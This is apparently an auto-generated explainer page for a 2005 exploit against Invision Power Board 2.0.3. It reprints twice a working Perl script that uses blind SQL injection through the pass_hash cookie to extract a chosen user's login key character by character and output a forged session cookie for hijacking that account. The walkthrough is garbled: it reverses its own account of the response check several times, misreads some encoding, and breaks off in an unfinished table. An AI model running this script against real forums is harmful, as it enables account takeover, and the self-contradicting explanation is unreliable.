Invision Power Board 2.0.3 'login.php' SQL Injection Explained

Invision Power Board 2.0.3 'login.php' SQL Injection Explained
What this paper is
This paper details a SQL injection vulnerability in Invision Power Board (IPB) version 2.0.3. Specifically, it targets the login.php script, allowing an attacker to bypass authentication by injecting malicious SQL code into the pass_hash cookie. The exploit aims to extract user credentials, particularly the member_login_key (or password in older versions), by iteratively guessing characters.
Simple technical breakdown
The vulnerability lies in how IPB 2.0.3 handles user authentication and cookie manipulation. When a user attempts to log in or use an autologin feature, the application might not properly sanitize input used in SQL queries. This exploit crafts a special cookie value that, when processed by the server, tricks the database into revealing parts of a user's password hash.
The exploit works by:
- Targeting a specific user ID: The attacker provides the ID of the user whose credentials they want to steal.
- Iterative Character Guessing: It attempts to guess each character of the target user's password hash, one by one, from left to right.
- SQL Injection via Cookie: The injected SQL code is placed within the
pass_hashcookie. This code uses SQL functions likeMID()to extract a single character at a specific position from the target user's password. - Conditional Logic: The script checks the application's response. If the injected SQL doesn't result in a login error (meaning the guessed character is correct), it appends that character to the stolen password. If it does result in an error, it tries the next character in its character set.
- Output: Once all characters are guessed, the script outputs a forged cookie that can be used to log in as the target user.
Complete code and payload walkthrough
The provided Perl script uses the LWP::UserAgent module to send HTTP requests to the target web application.
#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);#!/usr/bin/perl -w: Shebang line specifying the interpreter and enabling warnings for better debugging.- Comments: Indicate the exploit's functionality and authors.
use LWP::UserAgent;: Imports theLWP::UserAgentmodule, which is used for making HTTP requests.$ua = new LWP::UserAgent;: Creates a newLWP::UserAgentobject.$ua->agent("Mosiac 1.0" . $ua->agent);: Sets a custom User-Agent string for the HTTP requests. This is a common practice to mimic a legitimate browser or to provide a unique identifier.
if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?- Argument Handling: This section processes command-line arguments passed to the script.
$ARGV[0]: The base URL path to the Invision Power Board installation (e.g.,/ipb). Defaults to an empty string if not provided.$ARGV[1]: The User ID (id) of the target user whose credentials will be extracted.$ARGV[2]: The version of IPB.1for older versions (usingpasswordcolumn),2for newer versions (usingmember_login_keycolumn).$ARGV[3]: The cookie prefix used by the IPB installation (e.g.,ipb_). Defaults to an empty string.$ARGV[4]: A debug flag. If set, the script will print more verbose output.
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';: Constructs the target URL path. It specifically targets theautologinfunctionality, which is likely to be vulnerable.
if (!$ARGV[2])
{
print "The type of the file system is NTFS.\n\n";
print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
print "DRIVE C: WILL BE LOST!\n";
print "Proceed with Format (Y/N)?\n";
exit;
}- Version Check: This block seems to be a remnant or a placeholder. If the version argument (
$ARGV[2]) is not provided, it prints a warning about formatting a disk and exits. This part is not directly related to the SQL injection exploit itself but might have been part of an earlier or different exploit concept. For the SQL injection,$ARGV[2]must be provided.
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';my @charset = (...): Defines the set of characters to be used for guessing. This is a hexadecimal character set, implying the password hash is likely represented in hex.my $outputs = '';: Initializes an empty string that will store the extracted password hash character by character.
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current\n";
last;
}
}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}Outer Loop (
for $i): This loop iterates from1to32. The variable$irepresents the position of the character being guessed within the password hash. The exploit assumes a maximum hash length of 32 characters.Inner Loop (
for $j): This loop iterates through each character in the@charset(0-9, a-f). The variable$currentholds the character being tested for the current position.my $sql = ( $iver < 2 ) ? ... : ...: This is the core of the SQL injection. It constructs the malicious SQL query string.$iver < 2(Version 1 or older): Usespasswordcolumn. The query is:99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*$iver >= 2(Version 2 or newer): Usesmember_login_keycolumn. The query is:99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*- Breakdown of the SQL injection string:
99%2527: This is URL-encoded.%25decodes to%, and%27decodes to'. So,99%2527becomes99%'. This part likely aims to close a previous string literal and introduce a condition. The99might be a placeholder or part of a larger, unstated query structure.+OR+: URL-encoded space followed byOR.(id%3d$user+AND+: URL-encoded(id=followed by the target user ID andAND. This ensures the condition applies to the specific user.MID(column_name,$i,1): This SQL function extracts a single character (1) from the specifiedcolumn_name(passwordormember_login_key) starting at position$i.%3d%2527$current%2527: URL-encoded=. So,%3dis=, and%2527is'. This compares the extracted character with the current character from the@charset./*: This is a comment in SQL. It effectively terminates the injected query and prevents any subsequent SQL code from being executed, thus hiding potential errors.
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);: Constructs theCookieheader.$cpre: The cookie prefix.member_id=31337420: A placeholdermember_id. The exploit doesn't seem to care about this value for extraction, only thepass_hash.pass_hash=: The name of the cookie that will contain the injected SQL.$sql: The constructed SQL injection string.
my $res = $ua->get($path, @cookie);: Sends an HTTP GET request to the target$pathwith the craftedCookieheader.$pattern = '<title>(.*)Log In(.*)</title>';: Defines a regular expression pattern to match the HTML title of a page that indicates a successful login attempt or a page that is not an error page. The exploit assumes that if the title does not contain "Log In", it means the SQL injection failed or produced an error.$_ = $res->content;: Loads the response content into the special$_variable for easier regex matching.if ($dbug) { print };: If the debug flag is set, print the response content.if ( !(/$pattern/) ): This is the crucial check.- If the response content does NOT match the
$pattern(i.e., the title is not "Log In..."), it implies the injected SQL query did not result in a valid state that would show the "Log In" title. This means the guessed character$currentwas incorrect. - If the response content DOES match the
$pattern, it implies the injected SQL query was successful in its comparison, meaning the guessed character$currentis correct.
- If the response content does NOT match the
$outputs .= $current; print "$current\n"; last;: If the character is correct (i.e., the pattern was matched, so the!condition is false, meaning theifblock is skipped), the script proceeds to the next character in the charset. Wait, this logic is inverted in the provided explanation. Let's re-evaluate theif ( !(/$pattern/) )block.Corrected Logic: If the response content DOES NOT match the
$pattern(i.e., the title is NOT "Log In..."), it means the injected SQL query was incorrect. In this case, the script appends the guessed character$currentto$outputs, prints it, and thenlastbreaks out of the inner loop to try the next position ($i). This means the exploit is looking for a condition where the injected query fails to match the pattern, implying the character is correct. This is counter-intuitive. Let's assume the pattern is meant to detect an error page. If the pattern is found, it means it's not an error page, and the character is correct.Re-Correction based on common SQLi patterns: Typically, SQL injection exploits rely on a difference in response. If the injected query is correct and the condition
MID(..., $i, 1) = 'X'is true, the application might proceed normally (showing "Log In" title). If the injected query is incorrect, the application might show an error page or a different title. The exploit's logicif ( !(/$pattern/) )means "if the pattern is NOT found". If the pattern is NOT found, it means the response is not a "Log In" page. This implies the injected character was correct, and the script appends it. This is a very unusual way to structure the check. Let's assume the pattern is meant to detect a successful login page. If the pattern is found, it's a successful login. If the pattern is not found, it's an error. The exploit is looking for a condition where the pattern is not found, which means the character is correct. This is still confusing.Let's re-read the comment:
# If we get a valid sql request then this # does not appear anywhere in the sources. This comment is cryptic.Let's consider the typical behavior: When a SQL injection is successful, the application might behave differently. If the injected SQL makes the condition
MID(password, $i, 1) = 'X'TRUE, the application might proceed as if it found a match. If it's FALSE, it might show an error or a different page.Hypothesis: The pattern
<title>(.*)Log In(.*)</title>is intended to match a successful login page.- If the injected character is correct, the condition
MID(..., $i, 1) = 'X'is TRUE. The application proceeds, and the title might be "Log In...". - If the injected character is incorrect, the condition
MID(..., $i, 1) = 'X'is FALSE. The application might show an error page, and the title would not be "Log In...".
- If the injected character is correct, the condition
The exploit's logic:
if ( !(/$pattern/) ) { $outputs .= $current; print "$current\n"; last; }- This means: IF THE TITLE IS NOT "Log In..." (i.e., an error occurred or a different page was shown), THEN append the current character, print it, and break.
- This implies the exploit is designed to find characters that cause the SQL injection to fail in a specific way (not showing the "Log In" title), and it assumes this failure means the character is correct. This is highly unusual and likely depends on a very specific error message or page structure that is not the "Log In" page.
- Alternative Interpretation: The pattern is meant to detect a failed login attempt or an error. If the pattern is found, it means the character is WRONG. If the pattern is NOT found, it means the character is RIGHT. This seems more plausible. The exploit is looking for the absence of the "Log In" title to confirm a correct character guess. This would mean the injected SQL is not causing a login error, and thus the character is correct.
Final interpretation of the
if ( !(/$pattern/) )block:- The script sends a crafted cookie with an injected SQL query.
- It checks the response content for a specific HTML title pattern:
<title>(.*)Log In(.*)</title>. - If the pattern is NOT found (
!/$pattern/), it means the response page is not a standard "Log In" page. The exploit assumes this indicates the injected character$currentis correct. - Therefore, it appends
$currentto$outputs, prints it, and breaks the inner loop (last) to move to the next character position ($i). - If the pattern IS found, it means the response page is a "Log In" page. The exploit assumes this indicates the injected character
$currentis incorrect. The inner loop continues to the next character in@charset.
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }: After trying all characters for a given position, if no character was found that satisfied the condition (meaning$outputsis still empty), it prints "Not Exploitable!" and exits. This check is performed after the inner loop completes for a given$i. This means if for a specific position$i, no character from the charset works, it will exit. This check should ideally be inside the outer loop, after the inner loop finishes, to see if any character was found for the current position. As it is, it might exit prematurely if the first character guess for position 1 fails. Correction: This check is outside the inner loop but inside the outer loop. So, if after trying all 16 characters for position$i,$outputsis still empty (meaning no character was found for that position), it exits. This is correct.
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;
# milw0rm.com [2005-05-26]print "Cookie: ...": Once the loops complete (meaning all 32 characters of the password hash have been successfully guessed), this line prints the final forged cookie.$cpre . "member_id=" . $user: Reconstructs themember_idpart of the cookie using the target user ID.$cpre . "pass_hash=" . $outputs: Reconstructs thepass_hashpart using the fully extracted password hash.
exit;: Exits the script.
Summary of Code Blocks and Practical Purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);
if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?
if (!$ARGV[2])
{
print "The type of the file system is NTFS.\n\n";
print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
print "DRIVE C: WILL BE LOST!\n";
print "Proceed with Format (Y/N)?\n";
exit;
}
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current\n";
last;
}
}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;
# milw0rm.com [2005-05-26]